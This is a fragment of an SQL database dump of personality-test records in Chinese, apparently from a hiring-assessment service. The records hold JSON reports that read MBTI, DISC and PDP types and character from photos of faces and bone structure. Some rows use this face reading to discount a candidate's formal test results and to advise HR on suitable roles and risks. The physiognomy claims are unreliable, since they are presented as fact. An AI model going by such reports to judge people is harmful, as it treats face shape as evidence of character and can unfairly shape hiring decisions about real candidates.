\"自驱力\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"沟通与影响力\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"团队协作与授权\", \"level\": \"medium\", \"value\": \"70%\"}, {\"label\": \"学习与反思能力\", \"level\": \"medium-high\", \"value\": \"75%\"}], \"headline\": \"一个偏结果导向的管理型执行者:敢站在前台、会说也能扛事,但在控制感与团队感受之间需要更好平衡。\"}, \"overview\": \"该候选人在不同测评结果中出现了明显分化:人脸&骨相+初始画像偏理性内敛型(INTJ / C / 猫头鹰),而正式测评结果则高度外向、表达型(ESTJ + 孔雀型 + DISC高I)。结合两类数据及通用职业行为规律,可推演其真实画像更可能是:外向-理性并存、重目标与结果、具较强表达与组织能力,但内核偏控制、自主与理性决策,既不是单一“冷静谋士型”,也不是典型“无拘无束的表演者型”。整体来看,是一个偏执行与管理导向、愿意站到台前但思维偏理性、对秩序与效率有要求的人。\", \"portrait\": {\"coreRisks\": [\"容易在自信与控制欲中不自觉压制他人,导致团队反馈不足\", \"在追求效率与结果时,可能忽略个体情绪与细节体验\", \"决策方式偏“自己想清楚再告知他人”,容易被误解为独断\", \"注意力在多目标并行时可能分散,优先级管理需要强化\", \"在人际上存在“既想影响他人又不愿过度暴露脆弱面”的矛盾,易形成距离感\"], \"workStyle\": \"工作风格偏“管理型执行者”:会主动承担责任、愿意站在前台协调和推动,关注结果和进度,习惯先搭好框架、再在框架内优化细节。面对任务时,倾向将复杂问题拆解为步骤,通过制定计划、分配任务、设定节点来推动。对模糊、标准不清的环境耐受度一般,更偏好目标明确、边界清晰的场景。决策时重视事实与逻辑,少受情绪左右,但在表达观点上往往坚定甚至强硬,需要学习更柔性的表达方式。\", \"coreStrengths\": [\"结果导向与执行力强,愿意对目标负责并推进落地\", \"逻辑与结构化思维良好,做事有步骤、有计划\", \"表达欲与影响力较强,能够带动氛围、说服他人\", \"对规则、流程和标准敏感,能维持团队基本秩序\", \"在中高压环境下具持续输出能力,抗压韧性较好\"]}, \"resumeHighlights\": \"(1)核心性格关键词:外向理性、结果导向、结构化执行、表达欲与控制感并存、在压力下表现稳定。 \\n\\n(2)真实性格深度分析:\\n- 性格底色:综合人脸/骨相“理性、克制、骨架稳健”与ESTJ/高I高T的结果,可以推断其底色为“理性+主导”的外倾型——不属于情绪化外向,而是带有明确目标、愿意组织他人的领导倾向。内心对秩序、掌控和自我效能感有较高需求,希望事情按自己的逻辑有序推进。\\n- 决策方式:偏向以事实、数据和经验为依据,重视“对不对”“能不能落地”,不太受他人情绪左右。在时间紧、压力大时,会更直接地下判断并要求执行,风险是忽略了团队的参与感与异议。\\n- 情绪管理:情绪整体可控,外显相对稳定,即便内心有焦虑或不满,也倾向通过“加快推进、加强控制”来应对,而不是公开化情绪。有一定“把情绪压成行动”的倾向,久而久之可能累积压力。\\n- 自我定位:倾向把自己定位为“能扛事、能组织、能把事干成”的角色,希望被视作可靠的执行与管理者;对被动、犹豫、效率低的环境耐受度低,容易产生批判和自行接管的冲动。\\n\\n(3)行为与沟通风格:\\n- 行为风格:\\n - 在团队中容易自然站到偏核心或组织位置,主动设定目标、推动节奏。\\n - 面对问题,第一反应是分析原因、提出解决方案,并推动执行,而不是陷在情绪中。\\n - 能接受一定压力与挑战,短期高压下反而会激发其行动力和决断力。\\n - 对拖延、反复无结论较为不耐烦,偏好“先做再调”的路径。\\n- 沟通风格:\\n - 表达相对直接、清晰,有较强说服与带动气氛的能力(对应PDP孔雀与DISC高I)。\\n - 但内核是理性和标准(对应ESTJ与C向特征),因此在给出意见时可能偏“讲道理”,容易忽略对方感受;在下属或同事眼中,可能被认为“有点强势、要求高”。\\n - 在不熟悉的人面前,会先以较正式、掌控局面的方式出现,一旦熟悉,则会释放更多幽默感和亲和度。\\n - 更习惯纵向汇报和横向协调,而不是进行情绪深度交流,对“无目的性闲聊”兴趣有限。\\n\\n(4)优势亮点:\\n1)目标感和执行落地\\n- 能较快把抽象目标拆解为具体行动,设定里程碑并持续跟进。\\n- 在执行过程中,会用节点、数据和进度来管理,而不是仅凭感觉。\\n\\n2)组织与协调能力\\n- 愿意站到前台整合资源、分配任务,协调不同角色的工作。\\n- 在跨部门或多方协作场景下,能够通过清晰沟通与结果导向推动共识。\\n\\n3)沟通与影响力\\n- 具备一定演讲、说明、说服能力,在会议和公开场合不怯场。\\n- 能够通过积极的态度和明确的方向感,给团队带来“有人带、能跟”的安全感。\\n\\n4)抗压能力与责任感\\n- 面对紧迫节点或高压任务,不容易情绪化,更偏向“咬牙顶上去”。\\n- 对自己负责的事情有较强责任心,不轻易“甩锅”。\\n\\n5)逻辑性与结构化\\n- 在汇报、沟通或写作时,通常能做到逻辑清晰、主线明确,让他人容易理解。\\n\\n(5)可提升方向(针对管理和职场表现):\\n1)平衡控制欲与团队参与感\\n- 建议在关键决策和任务拆解时,多做“先问后说”:先听团队意见,再给出自己的判断;即便已经想好方案,也可以有意识留出讨论空间。\\n- 学会用“共识感”取代“宣布式”沟通,有助于提升团队长期配合度和忠诚度。\\n\\n2)增强对情绪和关系的敏感度\\n- 在一对一沟通中,多关注对方状态,不只问“事情做得怎么样”,也问“你现在状态如何,有什么困难”。\\n- 对不同性格的人适配不同沟通节奏,如对谨慎型、安静型同事适当放慢语速、减少压迫感。\\n\\n3)管理好多任务并行下的优先级\\n- 对自己容易“一口气接太多”的倾向保持警觉,学会拒绝不合理任务或延后优先级较低事项。\\n- 使用更系统的时间与任务管理工具(如四象限法、项目管理软件),避免因注意力分散而影响交付质量。\\n\\n4)在“理性+效率”之外,增加一定弹性\\n- 对规则和流程的坚持是优势,但在高速变化的业务环境中,需要适当增加弹性和试错空间。\\n- 遇到不完美方案时,允许“先上线、再迭代”,避免因为追求完美标准拖慢整体进度。\\n\\n5)向上沟通与向下授权的双向优化\\n- 向上:多用数据和结果呈现自己的贡献,并适当表达对资源和支持的具体需求。\\n- 向下:在交代任务时讲清目标、边界、衡量标准,并给对方留下选择路径的空间,避免“事必躬亲”导致自己负荷过高。\\n\\n综合来看,该候选人适合担任“目标明确、有一定压力、需要组织与执行兼具”的岗位,尤其适合在已有基本制度和资源的团队中发挥“执中军、带队打仗”的角色。如果能在控制感、共情和授权方面进一步提升,将有潜力成长为稳健可靠的中高层管理者。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219017, 1773219017, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (120, 29, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESTJ\", \"title\": \"总经理\"}, \"overview\": \"目标感强、执行力硬,兼具管理力度与现实判断,适合在结构清晰的环境中带队达成高目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg\"], \"boneAnalysis\": \"面部骨架端正紧实,颧骨与下颌略见棱角,骨肉比例协调,属于稳健持久型格局,利于在中年后持续发力。\", \"faceAnalysis\": \"额头平阔饱满,眼神专注稳定,鼻梁端正,嘴角有力收紧,下颌略方,整体给人理性稳健、执行导向的印象。\", \"personalitySummary\": \"性格务实果断,重视责任与承诺,擅长统筹安排与执行落地,人际中偏直接理性,带有天然威信与管理气场。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219347, 1773219347, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (121, 31, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健务实、责任感强,重视规则与长期成果,适合承担关键管理与专业把控角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg\"], \"boneAnalysis\": \"面骨方正厚实,下颌承载力强,颧骨含而不露,属土形稳健格局,重视责任守成与长期积累。\", \"faceAnalysis\": \"额头平阔、眼神沉稳、鼻梁端正、嘴型收敛,下巴厚实,整体给人理性内敛、靠谱可信之感。\", \"personalitySummary\": \"性格沉稳自律,做事谨慎周全,强调原则与秩序;抗压能力强,遇事先分析后行动,擅长在复杂环境中稳步推进。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219366, 1773219366, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (122, 1, 'resume', '{\"content\": \"{\\\"version\\\":2,\\\"overview\\\":\\\"该候选人在不同测评与人脸分析中呈现出明显的矛盾:一组数据显示为理性、内敛、规划型(INTJ / 猫头鹰 / C型),另一组则呈现外向、表现欲强、偏人际与影响力导向(ESTJ + 孔雀 / I型)。结合骨相与面相给出的“冷静、自持、内敛坚决”,更接近前者理性克制的一面。因缺少简历细节,只能做结构化推演:此人更大概率是以理性、规划、规则为底色的思考型选手,在职场中为了完成工作目标,会主动使用外向沟通、影响力与表达技巧,看上去像“会说话的管理者”,本质仍是以结果和逻辑为核心的务实派。以下画像以“理性规划+适度外向表现”的复合型为基准。\\\",\\\"portrait\\\":{\\\"coreStrengths\\\":[\\\"强逻辑思维与结构化分析能力\\\",\\\"目标导向清晰,执行稳定可靠\\\",\\\"抗压持久,情绪外显少,能在高压下维持理性判断\\\",\\\"规划与统筹能力较强,善于搭建流程与标准\\\",\\\"在必要场合具备一定号召力与表达能力,可承担对外沟通或团队动员\\\",\\\"原则感与责任心强,做事有底线,有始有终\\\"],\\\"coreRisks\\\":[\\\"性格基底偏内敛克制,长时间高强度对外社交会消耗较大,容易出现“社交性疲惫”\\\",\\\"容易过度强调逻辑与效率,对他人的情绪、感受关注度不够,易被感性同事视为“冷”“不近人情”\\\",\\\"对标准和秩序要求较高时,可能显得苛刻或控制欲偏强\\\",\\\"在信息不完整、变化快速且缺少规则的环境中,可能出现犹豫、拉长决策时间\\\",\\\"对自己要求较高,易自我施压,长期缺乏正向反馈时有心态耗损风险\\\"],\\\"workStyle\\\":\\\"工作风格上偏“理性管理者+任务指挥官”混合型:①先搭框架再行动:习惯在动手前理清目标、路径、关键节点和风险点,做事有计划、有步骤,不喜欢无序试错。②结果导向而非过程社交:与人沟通多围绕目标、任务和问题解决,闲聊型社交动力不强,但能在关键场合表现出良好表达与组织协调能力。③高标准自我要求:对自己和团队的工作质量、进度有较高要求,希望事情“按正确方式做对”,对低效、反复、拖延容忍度低。④压力下更理性:面对时间压力、项目冲突时,情绪控制较好,更倾向冷静拆解问题、排序优先级,不会轻易情绪化爆发。⑤偏向“自己先想明白再沟通”:遇到复杂议题时,会先独立思考、整理方案,再与团队讨论,少有完全“边想边拉会”的即兴风格。\\\"},\\\"hrView\\\":{\\\"roleRecommend\\\":{\\\"bestFit\\\":[\\\"项目管理 / PMO(尤其是需要流程设计、风险控制的项目)\\\",\\\"运营管理、流程优化、质量管理(适合梳理制度、建立标准)\\\",\\\"中后台管理岗(数据驱动、以结果和效率为导向的岗位)\\\",\\\"B端客户管理 / 企业服务顾问(偏解决方案型,而非纯关系型销售)\\\",\\\"职能线负责人(如运营、风控、质控、后端支持团队负责人)\\\"],\\\"notSuitable\\\":[\\\"高度情绪劳动型岗位(如全天候高强度客户投诉处理、一线高压服务岗)\\\",\\\"完全缺乏结构与规则、极度混沌初创早期岗位(“一切从零、天天变”的纯探索岗)\\\",\\\"以高频公关应酬、人情维护为主的“关系型销售”“政府关系”类岗位\\\",\\\"需要持续舞台表现和情绪感染的主播 / 主持 / 纯内容网红型岗位\\\"]},\\\"riskNotes\\\":[\\\"候选人外显MBTI为ESTJ、PDP为孔雀、DISC为I型,说明其在测评中可能有刻意强调外向、领导、表现的一面;而人脸与骨相分析偏INTJ/猫头鹰/C型,显示天然更接近理性内敛型。HR在面谈时需要重点验证其真实社交动力与持续外向表现的稳定性。\\\",\\\"若岗位要求持续高频对外社交、情绪调节和高强度临场发挥,需要确认候选人是否会在半年到一年后出现精力透支或职业倦怠。\\\",\\\"若组织文化偏感性、人情化、随机决策,候选人可能因“过于理性、说话直接”而融入难度增大,需要有相对规则、边界清晰的团队环境。\\\"]}},\\\"bossView\\\":{\\\"headline\\\":\\\"以理性与规则为底色、能适度外向担当的执行型管理者:适合作为项目与业务的“带队人”,但需要匹配相对理性的组织氛围。\\\",\\\"metrics\\\":[{\\\"label\\\":\\\"岗位匹配度(对结构化、项目/运营类管理岗位)\\\",\\\"value\\\":\\\"85%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"抗压与稳定性(在有一定规则和资源支持的环境)\\\",\\\"value\\\":\\\"88%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"团队协作与带人潜力\\\",\\\"value\\\":\\\"80%\\\",\\\"level\\\":\\\"medium-high\\\"},{\\\"label\\\":\\\"对高频外向社交型岗位匹配度\\\",\\\"value\\\":\\\"60%\\\",\\\"level\\\":\\\"medium\\\"},{\\\"label\\\":\\\"组织文化适配(偏理性、制度化团队)\\\",\\\"value\\\":\\\"90%\\\",\\\"level\\\":\\\"high\\\"}],\\\"managementTips\\\":[\\\"给清晰目标和边界:对其说明业务目标、关键指标与决策权限,他会主动规划路径并执行落地,不宜长期让其在模糊需求下反复试错。\\\",\\\"用结果与逻辑沟通:在复盘、反馈时用数据、事实和案例说话,而非主要依赖情绪压力或模糊指令,其回应会更积极。\\\",\\\"授权问题解决,而不仅是任务执行:适合被赋予“问题包”,让他从诊断到方案到落地全权负责,而不是只做某个环节的螺丝钉。\\\",\\\"注意负荷与情绪补给:在大周期、高强度项目后,需安排阶段性复盘和合理休整,防止长期高压下的内耗。\\\",\\\"在团队中为其配备情感连接较强的搭档:由他主导逻辑与结构,由搭档增强团队氛围与情感链接,可以显著提升整体团队体验。\\\"]},\\\"resumeHighlights\\\":\\\"【性格底色与潜在特质】\\\\n- 人脸与骨相分析呈现“额头饱满、眉眼专注、下颌线清晰”,对应理性、克制、自律、目标感强的底色。\\\\n- 描述中“冷静自持、内敛坚决、重视原则与秩序、抗压持久”,与INTJ / 猫头鹰 / C型的理性规划、规则导向高度一致。\\\\n- 说明其在面对压力和不确定性时,更倾向通过理性分析与规划应对,而非情绪宣泄或短期冲动。\\\\n\\\\n【测评交叉验证与去伪存真】\\\\n- MBTI:人脸分析为 INTJ(内向、直觉、思考、判断型),正式测评结果为 ESTJ(外向、实感、思考、判断型)。两者共有:T(理性思考)、J(偏计划和结构);差异主要在E/I和N/S。结合面相内敛、克制特征,更接近“思考型、规划型”的I性格;但ESTJ的外向表达、组织能力也可能是其后天职场行为的表现。因此判断为:本质偏内向理性,具备职场训练出的管理与表达能力,可阶段性呈现外向管理者形态。\\\\n- PDP:系统结果为孔雀型(Peacock)偏表演、社交、影响力;人脸与骨相给出的则是“猫头鹰”(理性、分析、谨慎)。两者极为矛盾。考虑到孔雀型往往在测评中易受“理想领导形象”诱导而被高估,因此更大概率是候选人自我期望或在特定场景下的呈现,而非全天候特质。更可信的是:以猫头鹰为底,叠加一定外向与表现能力,而非纯孔雀。\\\\n- DISC:结果为I主C辅(影响型+一部分谨慎型),但面部和骨相充分印证C型特质——“稳健理性、看重原则、重视细节与秩序”。综合判断:C是稳定底色,I是可调用的工作模式(特别在需要推动他人、对外沟通时)。\\\\n- 综合三套系统:T(理性)、J(结构)、C(谨慎)、猫头鹰(分析)、以及适度I/孔雀(社交与影响力)反复出现,说明“理性规划+有组织力”是共识;而“极端外向、极爱表现”的部分可信度相对较低。\\\\n\\\\n【真实性格深度分析】\\\\n- 核心人格:以“理性、规划、原则”为核心驱动力,对世界的理解方式偏分析和拆解,希望事情有逻辑、有标准、有秩序。面对任务,先考虑“目标是什么”“路径怎么设计”“风险在哪里”,很少完全凭感觉即兴行事。\\\\n- 情绪与压力处理:情绪表达相对收敛,不容易在公共场合失控,习惯把压力内化为“我要把这件事做好”的自我要求。抗压持久,适合打“持久战”或长周期项目,但需要注意长期高压下的隐性疲劳和对自我否定的倾向。\\\\n- 对人对事的优先级:更看重事本身的逻辑、结果和专业度,对人际关系的期待是“基于合作与信任的长期关系”,而非短期的情绪互动。如果别人工作不专业、做事不靠谱,比起“对我好不好”,他更在意“事情有没有按标准完成”。\\\\n- 控制感需求:对可控性与确定性有一定需求,希望自己能掌握关键节奏、规则与资源。如果长期处在极高不确定、决策随意变动的环境中,会产生明显的挫败感和无力感。\\\\n\\\\n【行为与沟通风格】\\\\n- 沟通方式:语言通常偏直接、清晰、结果导向,不太绕圈。汇报和表达时注重逻辑结构(背景-问题-方案-风险-结论),在正式场合具备良好的“专业沟通者”形象,但不太擅长长时间轻松寒暄式社交。\\\\n- 决策风格:偏理性与数据驱动。喜欢先收集关键信息,再做判断;在时间有限时,也能基于经验快速决策,但更安心于有事实支撑的选择。对模糊信息有警惕,倾向做风险预案与B方案。\\\\n- 冲突处理:对事不对人,习惯用“规则、流程、职责边界”来拆解冲突。表达可能偏坚定甚至强硬,尤其在原则问题上,较少妥协。如果对方过于情绪化,他可能选择先保持冷静克制,但也容易被误认为“不近人情”。\\\\n- 团队协作:在明确自己负责的模块时,执行力强、稳定输出,是那种“交给他就不太需要操心”的人。带团队时,会强调规则、流程和标准,期待大家“按规范高质量交付”,在激励与情感关怀上相对务实,属于“用事带人”的管理风格。\\\\n\\\\n【优势亮点(对用人方有价值的部分)】\\\\n1. 逻辑与规划优势:\\\\n - 能快速理解复杂任务,拆解为可操作的计划和节点。\\\\n - 擅长梳理流程、制定标准、优化现有工作机制,适合承担“把混乱变有序”的角色。\\\\n2. 抗压和稳定性:\\\\n - 面对长周期、高强度项目能保持理性和执行稳定,不容易被短期情绪波动带偏。\\\\n - 适合承担关键节点的“项目守门人”,在节点压力下保障交付质量。\\\\n3. 责任感与原则性:\\\\n - 对承诺的事情有较强责任意识,不轻易甩锅或放弃。\\\\n - 在涉及风险、合规、质量的场景中,能坚守底线,避免团队和公司承担不必要的风险。\\\\n4. 适度外向与影响力:\\\\n - 虽非天然社交型人格,但通过训练与经验积累,能够在重要场合清晰表达、组织协调、推动他人行动。\\\\n - 在对外汇报、项目路演、跨部门协调中,有一定表现力和说服力。\\\\n\\\\n【可提升方向(对个人与管理者的建议)】\\\\n1. 平衡理性与共情:\\\\n - 在给下属或同事反馈时,建议先肯定努力与成果,再指出问题和改进方向,以缓冲其语言直接性带来的压力感。\\\\n - 有意识地询问对方感受与困难,不仅讨论“任务进度”,能提升团队对其的信任度与跟随意愿。\\\\n2. 管理好社交能量:\\\\n - 识别自己在高频社交和连续会议后的疲惫信号,安排必要的独处或安静工作时间,避免长期透支导致工作倦怠。\\\\n - 对自己在“需要表现”和“真实能量”的差距保持觉察,不必持续扮演高能外向者,可在团队中设计分工,让更擅长社交的人承担部分对外展示工作。\\\\n3. 增强在高不确定环境中的“试错容忍度”:\\\\n - 接受部分阶段性混沌和不完美信息,在某些创新或探索性项目中,允许“小步快跑、边试边调”的模式,不必一开始就追求最优方案和完整闭环。\\\\n - 将“控制一切”转为“控制关键变量”,在战略上保持弹性,战术上保持严谨。\\\\n4. 调整对自己和他人的标准层级:\\\\n - 区分“必须做到”的底线标准与“最好做到”的理想标准,避免对所有事情一视同仁地高要求,导致自己和团队负荷过高。\\\\n - 在不同阶段选定1—2个核心优先级,允许次要事项“合格即可”,提升整体效率与心态弹性。\\\"}\\\"}\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219369, 1773219369, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (123, 32, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、规划感强,做事稳健负责,重视长期目标与结果落地。适合承担决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg\"], \"boneAnalysis\": \"骨相偏方正稳健,中停与下停力量感足,颧骨含而不露,属稳中有进型,擅长在既定框架内持续推进。\", \"faceAnalysis\": \"额头平阔、眼神专注,鼻梁端正,嘴型收敛,下颌稳实,整体给人冷静审慎、重视规则与逻辑的印象。\", \"personalitySummary\": \"性格理性克制,有主见与原则感,重视效率和专业度。对外略显严肃但可靠度高,偏好深度思考后再行动,抗压与自律能力突出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773222595, 1773222595, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (124, 33, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳重理性,责任感强,做事有规划且能长期坚持,适合承担关键事务与稳定推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg\"], \"boneAnalysis\": \"整体偏土金形,骨骼端正饱满,骨肉均衡,抗压持久,重视现实与稳健推进,格局以务实统筹见长。\", \"faceAnalysis\": \"额头宽阔饱满,眼神沉稳专注,鼻梁平直鼻翼适中,嘴唇收敛有度,下巴圆厚具承载力。\", \"personalitySummary\": \"性格内敛理性,做事踏实谨慎,重视规则和承诺,执行力强且能长期投入,对细节与风险有良好把控。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227480, 1773227480, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (125, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、思路清晰,擅长规划与分析,做事稳健克制,有长期目标与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨骼均匀偏文骨,颧骨不过分外张,下颌略圆带稳,属稳健内敛型骨相。\", \"faceAnalysis\": \"额头饱满顺宽,眼神稳定内敛,鼻梁端正,嘴型收敛度好,整体面相理性审慎。\", \"personalitySummary\": \"思维缜密,重视逻辑与结构,情绪平和不外露,偏低调内向,做事有计划并追求高标准。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227875, 1773227875, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (126, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视效率与结果,适合承担规划决策与系统优化类角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg\"], \"boneAnalysis\": \"骨相偏方正稳固,下颌与颧区轮廓清晰,骨肉均衡,属稳健理性型格局,重视长期规划与现实落地。\", \"faceAnalysis\": \"额头饱满开阔,眼神沉稳内敛,鼻梁端正,嘴型收敛偏直,整体给人冷静克制、理性思辨之感。\", \"personalitySummary\": \"性格冷静自持,逻辑性与判断力强,做事有计划有步骤,重视原则和边界,人际中偏克制但可靠度高。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228025, 1773228025, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (127, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视规划与结果,稳健务实,适合承担核心决策与系统优化角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛但有力,下颌骨承载感强,骨肉匀称,显示格局稳健、抗压持久,适合长期深耕与统筹。\", \"faceAnalysis\": \"额头宽阔饱满,双眼沉稳内敛,鼻梁顺直,嘴型收敛度佳,下巴略圆带厚,整体给人理性坚毅、稳重内敛之感。\", \"personalitySummary\": \"思维逻辑清晰,善于系统分析与长期规划,做事稳中求进,情绪波动小,人际中相对克制有边界,适合承担策略制定和关键项目把控工作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228086, 1773228086, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (128, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重细腻、责任感强,重视长期稳定与家庭事业平衡,适合在熟悉领域深耕并承担管理与支持角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg\"], \"boneAnalysis\": \"整体偏土形,骨肉均衡,颧骨不张、下颌圆厚,骨相稳健守成,抗压持久,适合循序渐进型发展路线。\", \"faceAnalysis\": \"额头饱满顺滑,眉眼平和含蓄,鼻梁端正鼻翼适中,嘴型收敛,下巴圆厚有承托感,全脸线条柔和稳定。\", \"personalitySummary\": \"性格内敛踏实,重视承诺与责任,做事稳健有耐心,关怀他人但边界感适中,适合在稳定环境中长期深耕并支持团队运作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228411, 1773228411, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (129, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重内敛,责任感强,做事踏实细腻,重视长期稳定与家庭事业的双重平衡。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg\"], \"boneAnalysis\": \"面中下停略重,骨架圆厚有承载力,颧骨不露锋芒偏守成型,整体格局稳健重实务与耐力。\", \"faceAnalysis\": \"额头宽阔饱满,眼神温和含蓄,鼻梁平直端正,嘴角收敛,下巴圆厚,整体给人可靠稳重之感。\", \"personalitySummary\": \"性格温和有韧性,重视承诺与责任,行事谨慎周全,偏向务实执行与长期投入,善于照顾他人情绪与细节。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228469, 1773228469, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (130, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性克制、思维缜密,擅长规划与分析,稳健踏实,有长期发展眼光与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨相端正不突兀,颧骨内敛,下颌线平稳,属稳健持久型格局,重视秩序与责任。\", \"faceAnalysis\": \"额头饱满顺直,眼神沉稳内敛,鼻梁端正,唇形收敛度好,整体五官均衡偏理性。\", \"personalitySummary\": \"性格冷静理智,重视逻辑与效率,决策前深思熟虑,做事有规划,克制感强,偏内向独立。\"}', NULL, NULL, 0, 0, NULL, 